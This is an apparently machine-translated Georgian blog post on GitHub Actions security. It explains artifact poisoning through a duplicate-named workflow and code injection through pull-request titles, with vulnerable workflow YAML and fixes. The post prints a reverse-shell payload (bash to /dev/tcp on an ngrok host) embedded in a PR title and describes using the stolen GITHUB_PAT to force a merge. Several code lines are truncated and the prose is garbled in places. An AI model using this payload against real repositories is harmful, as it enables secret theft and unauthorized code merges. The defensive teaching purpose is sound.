წინა პოსტებში (იხ. არაპირდაპირი მოწამვლა Pipeline შესრულება I-PPE მდე მოწამლული Pipeline შესრულების ინდივიდუალური დამცავი აღჭურვილობა , ჩვენ ძირითადად ინდივიდუალური დამცავი საშუალებებით (მოწამლული Pipeline შესრულება): ჩვენ ვნახეთ, თუ როგორ მუშაობს ის, მისი ეფექტები, ექსპლუატაციის ზოგიერთი ასპექტი, ასევე მისგან დაცვის რამდენიმე გზა.
ეს პოსტი სხვა რაღაცეებსაც ღრმად ჩაუღრმავდება CI/CD pipeline ისეთი დაუცველობები, როგორიცაა არტეფაქტებით მოწამვლა და კოდის ინექცია.
ამისათვის, ჩვენ მას როგორმე პირადი დამცავი აღჭურვილობის (PPE) საფუძველზე დავაფუძნებთ, ამიტომ მოდით სწრაფად შევაჯამოთ ის, რაც პირადი დამცავი აღჭურვილობის შესახებ ვნახეთ.
წინა სამუშაოები პირადი დამცავი აღჭურვილობის შესახებ
შეჯამებისთვის, ჩვენ დავიწყეთ საბაზისო GitHub-ით pipeline წვლილის შეტანის კოდის შესაქმნელად და შესამოწმებლად pull requestგარდა ამისა, ის განსაზღვრავს რამდენიმე შემოწმებას, რომელთა დაკმაყოფილების შემთხვევაში, კოდი გაერთიანდება ძირითად ფილიალში. ჩვენ ამას დავარქვით სცენარი #1.

ჩვენს წინა პოსტში ჩვენ ვაჩვენეთ, თუ როგორ ხდება ეს ძირითადი pipeline იყო დაუცველია როგორც D-PPE-ს, ასევე I-PPE-ს მიმართ.
ჩვენ მოვახერხეთ D-PPE-ს შეკეთება by ტრიგერის მოვლენის შეცვლა საწყისი pull_request to pull_request_target, რაც pipeline უსაფრთხოა D-PPE-სთვის. შეგახსენებთ, pipelinepull_request_target მოვლენაზე გააქტიურებული s შეასრულებს ბაზისურ ფუნქციას. pipeline კოდი, არა pipeline კოდი, რომელიც შეიცავს pull request.
ჩვენ ამას დავარქვით სცენარი #2.

ამ მოდიფიკაციის შედეგად, ჩვენ ვაჩვენეთ, რომ სცენარი #2 კვლავ დაუცველი იყო I-PPE-ს მიმართ.
მის გამოსასწორებლად, ჩვენ გადავწყვიტეთ გაყოფა pipeline ორად:
- 1-ლი pipeline (CI-ის შექმნა) იქნებოდა შეამოწმეთ PR კოდი (მისი ასაშენებლად), შექმენით კონსტრუქცია და გენერირეთ არტეფაქტი.
- 2 pipeline (ტესტი CI) იქნებოდა შეამოწმეთ საბაზისო კოდი (შელის სკრიპტის მოდიფიკაციის თავიდან ასაცილებლად) და შეასრულოთ ორიგინალური სკრიპტები არტეფაქტის წინააღმდეგ.
- ტესტის CI-ის სინქრონიზაციისთვის pipeline გასაშვებად Build CI-ის შემდეგ pipeline, ჩვენ გამოვიყენებთ სამუშაოს_გაშვება ტრიგერი.
ჩვენ ამას დავარქვით სცენარი #3.

მოდით, ორივეს კოდი აღვადგინოთ pipelineამ ცვლილებების მიხედვით…
1st pipeline (CI-ის აწყობა):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (ტესტი CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
არტეფაქტებით მოწამვლა
ზემოაღნიშნულის მიხედვით CI/CD pipelines:
- pipeline CI-ის შექმნა is უსაფრთხო ორივეს D-PPE (იმის გამო pull_request_target) და I-PPE (რადგან ის აღარ ასრულებს shell სკრიპტს).
- pipeline ტესტი CI ასევე უსაფრთხო ორივეს D-PPE (იმის გამო სამუშაოს_გაშვება) და I-PPE (რადგან ის ამოწმებს საბაზისო კოდს ორიგინალური shell სკრიპტის მისაღებად)
მოდით, უფრო დეტალურად განვიხილოთ ეს „გამოსავალი“.
Pipeline ტესტი CI არტეფაქტს zip ფაილის სახით ჩამოტვირთავს.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
გახსნის შემდეგ, ის ასრულებს „უსაფრთხო“ shell სკრიპტს. რატომ ვამბობ „უსაფრთხო“ shell სკრიპტს? იმიტომ, რომ წინა ეტაპზე, pipeline ამოწმებს „ბაზის“ კოდს, ამიტომ ორიგინალი სკრიპტი თავსდება სამუშაო სივრცის საქაღალდეში. ამიტომ, როდესაც pipeline ასრულებს shell სკრიპტს, რომელიც გაშვებული იქნება ადრე გადმოწერილი ორობითი ფაილის გამოყენებით.
მაშინ, რა არის პრობლემა ამ მიდგომით? პრობლემა ჩნდება როდესაც ნებისმიერი მომხმარებელი „ქმნის“ ახალს pipeline.
თუ მომხმარებელი ხსნის PR-ს, რომელიც შეიცავს ახალს pipeline, GitHub შეასრულებს ამას pipeline (გარკვეული პირობების გათვალისწინებით, როგორც წინა შემთხვევაში ვნახეთ) პოსტი).
ამის გათვალისწინებით, რა მოხდება, თუ მომხმარებელი შექმნის ახალს? pipeline იგივე სახელით, რაც Build CI-ს? კი, გასაკვირია, მაგრამ GitHub-ი საშუალებას გაძლევთ შექმნათ ორი pipelineიგივე სახელით!!
გახსოვდეთ, რომ Test CI შესრულდება CI-ის შექმნის შემდეგ…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
გასაკვირია, რადგან ახლა ორია pipelineიგივე სახელით, pipeline ტესტი CI ორჯერ შესრულდება: ორიგინალის შემდეგ pipeline და სხვა „ახლის“ შემდეგ pipeline.
როგორ შეუძლია ჰაკერს ამით ისარგებლოს?
- პირველ რიგში, მავნე მომხმარებელს შეუძლია შეცვალოს shell სკრიპტი, რათა საიდუმლო ჰაკერების მიერ კონტროლირებად სერვერზე გააგზავნოს.
- მეორეც, ახალი pipeline შეიცავს ხაზს შეცვლილი shell სკრიპტის არტეფაქტში კოპირებისთვის → არტეფატების მოწამვლაct!!!
როდესაც მომხმარებელი ხსნის PR-ს ამ ცვლილებებით, „ახალი“ pipeline შესრულდება (მოწამლული არტეფაქტის ატვირთვა) და განლაგების CI pipeline ამის შემდეგ შესრულდება, რაც გამოიწვევს „მოდიფიცირებული“ shell სკრიპტი ცვლის „ორიგინალურ“ shell სკრიპტს, რომელიც მდებარეობს pipeline სამუშაო სივრცე.

ამას ჩვენ ვეძახით არტეფაქტებით მოწამვლა, ანუ შეცვლის (გატეხვის) შესაძლებლობა pipeline ლოგიკა მოდიფიკაციის გზით pipeline artifact.
ერთი შესაძლებელია გამოსწორება საკმაოდ მარტივია: არტეფაქტის სამუშაო სივრცის ქვესაქაღალდეში უბრალოდ გახსნა თავიდან აგვაცილებს „ძირითადი“ shell სკრიპტის გადაწერას..
კოდის ინექცია
არტეფაქტებით მოწამვლის გარდა, ხედავთ თუ არა ზემოთ მოცემულ კოდში სხვა რაიმე დაუცველობას?
წავიდეთ!!
როგორც კოდში ხედავთ, pipeline Build CI აწყობს ბინარულ ფაილს, ის ატვირთავს ბინარულ ფაილს როგორც pipeline არტეფაქტი და, გარდა ამისა, ის ატვირთავს რამდენიმე დამატებით მონაცემს: PR სათაურს და PR ID-ს.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
რატომ? იმიტომ, რომ PR-ის შერწყმა, როგორც ქვემოთ ხედავთ, Test CI-ს pipeline PR-ის შერწყმის მქონე GitHub REST API-ის გამოსაძახებლად საჭიროა PR id.
როგორ ხდება ტესტის CI? pipeline PR ID-ის მიღება? ინფორმაციის გაზიარება ტექსტურ ფაილებში (ნაწილი pipeline არტეფაქტი) ინფორმაციის გაზიარების გავრცელებული გზაა pipelineს. და ეს ზუსტად ისაა, რაც ამ pipelineს აკეთებენ.
echo "Merging .."
PR_ID=$(
მკაცრად რომ ვთქვათ, PR-ის გაერთიანებისთვის მხოლოდ PR Id არის საჭირო, მაგრამ pipeline ადმინისტრატორმა გადაწყვიტა, რომ Build CI-ში ასევე შესულიყო PR სათაური, ამიტომ Test CI-ში pipeline დაბეჭდავდა საინფორმაციო შეტყობინებას, რომელიც შეიცავს როგორც PR ID-ს, ასევე სათაურს.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
PR სათაური ყოველთვის მომხმარებლისგან მომდინარე მონაცემებია და, შესაბამისად, ყოველთვის არასანდოდ უნდა ჩაითვალოს.. ასე რომ pipeline ასე უნდა მოიქცეს და დამცავი ზომები მიიღოს.
ზემოთ მოცემულ კოდში ვხედავთ კონკრეტულ შეტყობინებას, რომელიც იმეორებს PR სათაურს. ეს უბრალოდ Linux-ის „echo“ ბრძანებაა.
სტრიქონების ინტერპოლაციის გზით, თუ სათაური „ფიქტიური სათაურია“, Github შინაგანად წარმოქმნის სკრიპტს, რომელიც შეიცავს
echo ""a dummy title""
მაგრამ რა მოხდება, თუ PR სათაური დაახლოებით ასეთი იქნება:
მავნე სათაური” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "სკრიპტი ასეთი იქნებოდა:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
შედეგად, ჰაკერების მიერ კონტროლირებადი სერვერის წინააღმდეგ საპირისპირო გარსი იხსნება.

ეს საპირისპირო გარსი შეიძლება გამოყენებულ იქნას წვდომისთვის pipeline secrets (გახსოვდეთ, რომ Test CI მუშაობს პრივილეგიების რეჟიმში, რადგან ის აქტიურდება workflow_run-ის მიერ, ამიტომ მას აქვს წვდომა secrets-ებზე).
მაგრამ, კიდევ რა შეიძლება გაკეთდეს ამ საპირისპირო გარსის საშუალებით?
შეხედეთ CI ტესტის კოდს:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
როგორც ხედავთ Test CI-ში pipeline, curl merge ბრძანება იყენებს GITHUB_PAT-ს (განისაზღვრება, როგორც pipeline env var), ამიტომ Runner შეიცავს GITHUB_PAT-ს, როგორც გარემოს ცვლადს. გარდა ამისა, ის ასევე ქმნის env var-ს, რომელიც კითხულობს PR ID-ს.
ამგვარად, ჰაკერს მხოლოდ curl ბრძანების კოპირება და საპირისპირო გარსში ჩასმა სჭირდება, PR-ის პირდაპირ დაცულ ტოტთან შერწყმით.

ამ ყველაფრისგან თავის დასაცავად:
- დან თავიდან იქნას აცილებული სტრიქონის ინტერპოლაცია არასანდო მონაცემებით (დაუცველია კოდის ინექცია) განსაზღვრის pipeline გარემოს ვარიაციები იმის ნაცვლად, რომ პირდაპირ გამოიყენოთ ის echo ბრძანებებში
გამოყენების ნაცვლად:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
გამოიყენეთ ეს:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- კოდის ინექციის ექსპლოიტის შემთხვევაშიც კი, curl შერწყმის ბრძანება წარმატებით არ შესრულდებოდა, თუ სწორად შეასრულებდით დაიცვა შენი pull requests გარკვეული სავალდებულო განხილვის ან დამტკიცების გზით.
დასკვნები
რაღაცნაირად ძნელია დაცვა CI/CD pipelines კონფიგურაცია და მიღება pipelineდაუცველებისაგან თავისუფალია.
ეს იმას არ ნიშნავს CI/CD სისტემები (როგორიცაა GitHub ამ შემთხვევაში) თავისთავად დაუცველია. CI/CD სისტემები უზრუნველყოფენ დაუცველობებისგან დაცვის საშუალებებს... მაგრამ ამ დაცვის განხორციელება ადმინისტრატორის პასუხისმგებლობაა.
მაგრამ ... დაუცველობის მოგვარება შეუძლებელია, თუ მისი არსებობის შესახებ არ იცით!!!
რა თქმა უნდა, მაღალკვალიფიციურ devops ადმინისტრატორს შეიძლება ჰქონდეს ყველა ეს საფრთხე მხედველობაში და სათანადოდ დაიცვას CI/CD pipelines, მაგრამ, მიუხედავად ამისა, ძალიან ღირებულია პროდუქტის გამოყენება ყველა ამ ტიპის დაუცველობის აღმოსაჩენად. და რა თქმა უნდა, ამ დაუცველობის შეკავების პროცესის ავტომატიზირებისთვის (მაგალითად, სკანირების გაშვება, როგორც ნაწილი CI/CD pipelines).
ამ მიდგომას შეიძლება ვუწოდოთ „უსაფრთხოების კარიბჭე":
- ახალი შექმნა pipeline (უსაფრთხოების კარიბჭე) შესამოწმებლად CI/CD pipelines დაუცველობები და სხვა CI-ს შექმნა pipelineშესრულდება მხოლოდ უსაფრთხოების კარიბჭის წარმატებით დასრულების შემდეგ pipeline.
- უსაფრთხოების კარიბჭე pipelines შეამოწმებს CI/CD pipelineდაუცველობა და,
- თუ ხარვეზები აღმოჩნდება, ის გაფუჭდება და, შესაბამისად, სხვაც pipelines არ შესრულდება.
- თუ ხარვეზები არ აღმოჩნდება, pipeline წარმატებას მიაღწევს და სხვა pipelines შესრულდება ჩვეულებისამებრ.








